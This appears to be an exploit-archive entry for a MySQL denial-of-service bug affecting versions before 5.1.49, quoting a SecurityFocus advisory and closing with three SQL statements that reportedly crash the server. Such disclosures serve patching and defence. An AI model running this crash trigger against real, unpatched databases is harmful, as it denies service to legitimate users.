MySQL 5.1.48 – ‘Temporary InnoDB’ Tables Denial of Service
source: https://www.securityfocus.com/bid/42598/info MySQL is prone to a denial-of-service vulnerability. An attacker can exploit these issues to crash the database, denying access to legitimate users. This issues affect versions prior to MySQL 5.1.49. NOTE: This issue was previously covered in BID 42598 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it. mysql> SET storage_engine=MYISAM; mysql> CREATE TEMPORARY TABLE mk_upgrade AS SELECT IF( NULL IS NOT NULL, NULL , NULL) ; drop table mk_upgrade; |